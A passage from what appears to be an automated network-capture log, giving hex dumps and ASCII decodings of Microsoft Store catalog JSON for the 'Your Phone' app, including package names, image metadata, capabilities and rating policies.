6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 30 37 38 44 37 22 
Data Ascii: 33b0f{"BigIds":["9NMPJ99VJBWV"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2021-11-19T0
1:18:03.1091140Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3008593219056053382","EISListingIdentifie
r":null,"BackgroundColor":"#0078D7"

2021-11-25 16:28:40 UTC 1541 IN Data Raw: 30 64 39 2d 62 30 32 37 61 61 66 36 33 39 62 35 2e 63 66 65 61 35 31 66 64 2d 34 34 30 63 2d 34 66 30 33 
2d 62 34 32 30 2d 39 35 66 32 63 38 35 32 65 65 34 64 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 
64 22 3a 22 33 30 30 34 34 30 32 32 32 32 38 35 37 34 36 32 30 36 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 
6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 30 37 38 44 37 
22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 34 30 33 2c 22 46 6f 
72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 65 50 6f 73 69 
74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 
Data Ascii: 0d9-b027aaf639b5.cfea51fd-440c-4f03-b420-95f2c852ee4d","Width":66},{"FileId":"3004402222857462063"
,"EISListingIdentifier":null,"BackgroundColor":"#0078D7","Caption":"","FileSizeInBytes":403,"ForegroundColor":"","Height
":88,"ImagePositionInfo":"","ImagePur

2021-11-25 16:28:41 UTC 1545 IN Data Raw: 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 33 35 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 
72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 
22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 
48 41 32 35 36 48 61 73 68 22 3a 22 34 50 51 6e 43 44 57 57 46 69 6f 43 4b 6e 36 67 6d 30 67 51 42 64 75 35 63 36 44 
54 57 37 2b 63 38 38 37 2f 35 57 7a 52 71 46 45 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 
2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 36 32 36 38 38 2e 31 33 37 35 33 38 
39 31 35 31 39 33 39 37 30 36 37 2e 30 39 32 37 36 61 66 62 2d 
Data Ascii: ileSizeInBytes":3351,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","Unscale
dImageSHA256Hash":"4PQnCDWWFioCKn6gm0gQBdu5c6DTW7+c887/5WzRqFE=","Uri":"//store-images.s-microsoft.c
om/image/apps.62688.13753891519397067.09276afb-
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2021-11-25 16:28:41 UTC 1549 IN Data Raw: 36 37 2e 65 38 61 30 36 64 37 64 2d 66 66 62 32 2d 34 35 34 32 2d 39 65 66 61 2d 34 36 30 30 36 63 62 39 
37 30 36 39 2e 66 30 62 36 36 64 35 36 2d 33 33 65 32 2d 34 31 31 64 2d 39 64 34 37 2d 35 39 35 63 62 33 32 39 36 32 
63 34 22 2c 22 57 69 64 74 68 22 3a 33 38 34 30 7d 5d 2c 22 56 69 64 65 6f 73 22 3a 5b 5d 2c 22 50 72 6f 64 75 63 74 44 
65 73 63 72 69 70 74 69 6f 6e 22 3a 22 59 6f 75 20 6c 6f 76 65 20 79 6f 75 72 20 70 68 6f 6e 65 2e 20 53 6f 20 64 6f 65 73 
20 79 6f 75 72 20 50 43 2e 20 47 65 74 20 69 6e 73 74 61 6e 74 20 61 63 63 65 73 73 20 74 6f 20 65 76 65 72 79 74 68 
69 6e 67 20 79 6f 75 20 6c 6f 76 65 20 6f 6e 20 79 6f 75 72 20 70 68 6f 6e 65 2c 20 72 69 67 68 74 20 66 72 6f 6d 20 79 6f
75 72 20 50 43 2e 20 5c 72 5c 6e 5c 72 5c 6e 4c 69 6e 6b 20 
Data Ascii: 67.e8a06d7d-ffb2-4542-9efa-46006cb97069.f0b66d56-33e2-411d-9d47-595cb32962c4","Width":3840}],"Vide
os":[],"ProductDescription":"You love your phone. So does your PC. Get instant access to everything you love on your pho
ne, right from your PC. \r\n\r\nLink 

2021-11-25 16:28:41 UTC 1553 IN Data Raw: 34 38 39 34 5a 7c 7c 2e 7c 7c 39 32 35 38 38 64 36 35 2d 30 31 39 32 2d 34 32 35 62 2d 39 31 30 37 2d 32 64 
63 66 37 63 34 35 66 32 66 66 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 31 38 30 36 31 32 7c 7c 4e 75 6c 6c 7c 7c 
66 75 6c 6c 72 65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 55 72 69 22 3a 22 22 7d 2c 22 
4d 65 72 63 68 61 6e 64 69 7a 69 6e 67 54 61 67 73 22 3a 5b 5d 2c 22 50 61 72 74 44 22 3a 22 22 2c 22 50 72 6f 64 75 
63 74 46 61 6d 69 6c 79 22 3a 22 41 70 70 73 22 2c 22 50 72 6f 64 75 63 74 4b 69 6e 64 22 3a 22 41 70 70 6c 69 63 61 7
4 69 6f 6e 22 2c 22 44 69 73 70 6c 61 79 53 6b 75 41 76 61 69 6c 61 62 69 6c 69 74 69 65 73 22 3a 5b 7b 22 53 6b 75 22 
3a 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 
Data Ascii: 4894Z||.||92588d65-0192-425b-9107-2dcf7c45f2ff||1152921505694180612||Null||fullrelease","Validatio
nResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailabi
lities":[{"Sku":{"LastModifiedDate":"

2021-11-25 16:28:41 UTC 1557 IN Data Raw: 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 
74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 
6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 
22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 5f 61 72 6d 36 
34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 
31 2e 32 30 30 31 32 2e 31 33 35 2e 37 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 
63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 
Data Ascii: .version\":1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.20012.135.70_x86_
_8wekyb3d8bbwe\",\"Microsoft.YourPhone_1.20012.135.70_arm64__8wekyb3d8bbwe\",\"Microsoft.YourPhone_1
.20012.135.70_arm__8wekyb3d8bbwe\",\"Microsoft.YourPhone_

2021-11-25 16:28:41 UTC 1561 IN Data Raw: 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 
65 5f 32 30 32 30 2e 33 31 32 2e 34 30 38 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 
22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 37 65 38 36 64 38 37 65 2d 64 39 62 62 2d 35 61 63 65 2d 38 33 66 62 2d 
62 36 31 62 63 65 61 37 63 61 33 61 2d 58 38 36 2d 58 36 34 2d 41 72 6d 2d 41 72 6d 36 34 22 2c 22 50 61 63 6b 61 67 
65 52 61 6e 6b 22 3a 33 30 30 32 35 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4
d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 
3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 22 50 6c 61 
Data Ascii: PackageFullName":"Microsoft.YourPhone_2020.312.408.0_neutral_~_8wekyb3d8bbwe","PackageId":"7e86d87
e-d9bb-5ace-83fb-b61bcea7ca3a-X86-X64-Arm-Arm64","PackageRank":30025,"PlatformDependencies":[{"MaxTe
sted":2814750970478592,"MinVersion":2814750890000384,"Pla

2021-11-25 16:28:41 UTC 1565 IN Data Raw: 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 6e 74 22 2c 22 72 75 6e 
46 75 6c 6c 54 72 75 73 74 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 
6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 
64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 34 38 34 38 33 32 38 
2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 30 35 37 39 38 34 30 2c 22 50 61 63 6b 
61 67 65 46 6f 72 6d 61 74 22 3a 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 
61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 
Data Ascii: neCallSystem","targetedContent","runFullTrust","Microsoft.storeFilter.core.notSupported_8wekyb3d8b
bwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":64848328,"MaxInstallSizeInBytes":60579840,"PackageFormat":"A
ppxBundle","PackageFamilyName":"Microsoft.YourP

2021-11-25 16:28:41 UTC 1569 IN Data Raw: 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 
30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 
7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 
70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 36 34 22 2c 22 61 72 6d 36 
34 22 2c 22 78 38 36 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 
6e 74 22 2c 22 70 72 69 76 61 74 65 4e 65 74 77 6f 72 6b 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 72 65 6d 6f 74 65 
53 79 73 74 65 6d 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 22 2c 22 
Data Ascii: ourPhone_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"
ApplicationId":"App"}],"Architectures":["arm","x64","arm64","x86"],"Capabilities":["internetClient","privateNetworkClien
tServer","remoteSystem","phoneCall","

2021-11-25 16:28:41 UTC 1573 IN Data Raw: 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 
22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 
22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 
67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 
22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3
a 22 36 36 33 39 37 30 61 38 2d 32 36 33 35 2d 34 35 64 64 2d 61 66 35 63 2d 66 66 65 37 63 63 39 38 32 62 34 64 22 
2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 39 39 61 65 66 
Data Ascii: temId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDo
wnloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"663970a8-2635-45dd-af5c-ffe7cc982
b4d","WuCategoryId":"b99aef

2021-11-25 16:28:41 UTC 1577 IN Data Raw: 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 
22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 64 75 63 74 69 76 69 74 79 5c 22 2c 5c 22 6f 70 
74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 
65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 
69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 
41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 
3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 
Data Ascii: licy\":{\"category.first\":\"app\",\"category.second\":\"Productivity\",\"optOut.backupRestore\":true,\"optO
ut.removeableMedia\":true},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":7,\"sys
temId\":3},{\"level\":12,\"

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:41 UTC 1581 IN Data Raw: 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 
63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 39 30 32 2e 34 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 
7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 
5c 22 64 30 39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 38 62 5c 
22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 
72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 
5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 
Data Ascii: n\":false,\"content.packageId\":\"Microsoft.YourPhone_2020.902.4.70_neutral_~_8wekyb3d8bbwe\",\"co
ntent.productId\":\"d0932c73-e730-4680-bc44-a5908fecbf8b\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2
814751014977536,\"platform.minVersion

2021-11-25 16:28:41 UTC 1585 IN Data Raw: 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 
73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 
62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 
22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 
59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 38 32 2e 31 33 39 2e 30 5f 78 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 
77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 31 2e 32 30 30 38 32 2e 31 33 39 2e 30 
5f 61 72 6d 36 34 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 
Data Ascii: 4750890000384,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":
1688867040526336,\"content.bundledPackages\":[\"Microsoft.YourPhone_1.20082.139.0_x64__8wekyb3d8bbwe\",\"Micro
soft.YourPhone_1.20082.139.0_arm64__8wekyb3d8bb

2021-11-25 16:28:41 UTC 1589 IN Data Raw: 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 
6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 
65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 
22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 50 68 6f 6e 65 5f 32 30 32 30 2e 39 30 39 2e 32 32 32 36 2e 37 30 5f 
6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 38 
39 32 36 33 31 32 38 2d 35 65 33 64 2d 63 32 66 30 2d 37 64 33 37 2d 35 61 32 36 61 39 63 32 30 33 30 37 2d 58 38 36 
2d 58 36 34 2d 41 72 6d 36 34 22 2c 22 50 61 63 6b 61 67 65 52 
Data Ascii: xBundle","PackageFamilyName":"Microsoft.YourPhone_8wekyb3d8bbwe","MainPackageFamilyNameF
orDlc":null,"PackageFullName":"Microsoft.YourPhone_2020.909.2226.70_neutral_~_8wekyb3d8bbwe","PackageId":"8926
3128-5e3d-c2f0-7d37-5a26a9c20307-X86-X64-Arm64","PackageR

2021-11-25 16:28:41 UTC 1593 IN Data Raw: 69 72 6d 41 70 70 43 6c 6f 73 65 22 2c 22 70 68 6f 6e 65 4c 69 6e 65 54 72 61 6e 73 70 6f 72 74 4d 61 6e 61 
67 65 6d 65 6e 74 22 2c 22 70 68 6f 6e 65 43 61 6c 6c 53 79 73 74 65 6d 22 2c 22 74 61 72 67 65 74 65 64 43 6f 6e 74 65 
6e 74 22 2c 22 72 75 6e 46 75 6c 6c 54 72 75 73 74 22 2c 22 70 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 
22 4d 69 63 72 6f 73 6f 66 74 2e 75 6e 73 69 67 6e 65 64 50 61 63 6b 61 67 65 4d 61 6e 61 67 65 6d 65 6e 74 5f 38 77 65 
6b 79 62 33 64 38 62 62 77 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 
6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 
49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 
Data Ascii: irmAppClose","phoneLineTransportManagement","phoneCallSystem","targetedContent","runFullTrust","pa
ckageManagement","Microsoft.unsignedPackageManagement_8wekyb3d8bbwe","Microsoft.storeFilter.core.notSupported_
8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownload

2021-11-25 16:28:41 UTC 1597 IN Data Raw: 3a 22 62 39 39 61 65 66 39 61 2d 31 36 38 35 2d 34 37 39 38 2d 62 34 62 31 2d 33 64 39 34 65 65 36 64 37 
31 38 34 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 59 6f 75 72 
50 68 6f 6e 65 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 
74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 
70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 
41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 38 36 22 2c 22 78 36 34 22 2c 22 61 72 6d 36 34 22 5d 2c 22 43 6
1 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 
Data Ascii: :"b99aef9a-1685-4798-b4b1-3d94ee6d7184","PackageFamilyName":"Microsoft.YourPhone_8wekyb3
d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":
["x86","x64","arm64"],"Capabilities":["interne

2021-11-25 16:28:41 UTC 1601 IN Data Raw: 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 
65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 
35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50
61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 
61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 4d 50 4a 39 39 56 4a 42 57 56 22 2c 22 57 75 42 75 6e 64 6c 
65 49 64 22 3a 22 36 36 33 39 37 30 61 38 2d 32 36 33 35 2d 34 35 64 64 2d 61 66 35 63 2d 66 66 65 37 63 63 39 38 32 
62 34 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 62 
Data Ascii: \"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","Pack
ageDownloadUris":null,"FulfillmentData":{"ProductId":"9NMPJ99VJBWV","WuBundleId":"663970a8-2635-45dd-af5c-ffe7
cc982b4d","WuCategoryId":"b

2021-11-25 16:28:41 UTC 1605 IN Data Raw: 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 
5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 
67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 
65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 
5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 
49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7
b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 
Data Ascii: :true},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":true,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"leve
l\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\
"system

2021-11-25 16:28:41 UTC 1609 IN Data Raw: 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 
6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 
69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 50 72 6f 
64 75 63 74 69 76 69 74 79 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 
65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 74 72 75 65 7d 2c 5c 22 70 6f 6c 
69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 
72 75 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 
Data Ascii: 90000384,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Produ
ctivity\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":true},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":tru
e,\"thirdPartyApp
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2021-11-25 16:28:41 UTC 1613 IN Data Raw: 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 64 30 
39 33 32 63 37 33 2d 65 37 33 30 2d 34 36 38 30 2d 62 63 34 34 2d 61 35 39 30 38 66 65 63 62 66 38 62 5c 22 2c 5c 22 
63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 
61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 31 36 33 30 38 38 38 39 36 2c 5c 22 70 6c 
61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 
6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 
5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 
Data Ascii: 3d8bbwe\",\"content.productId\":\"d0932c73-e730-4680-bc44-a5908fecbf8b\",\"content.targetPlatforms\":[{\"pla
tform.maxVersionTested\":2814751163088896,\"platform.minVersion\":2814750890000384,\"platform.target\":0}],\"c
ontent.type\":7,\"policy\":{\"categor

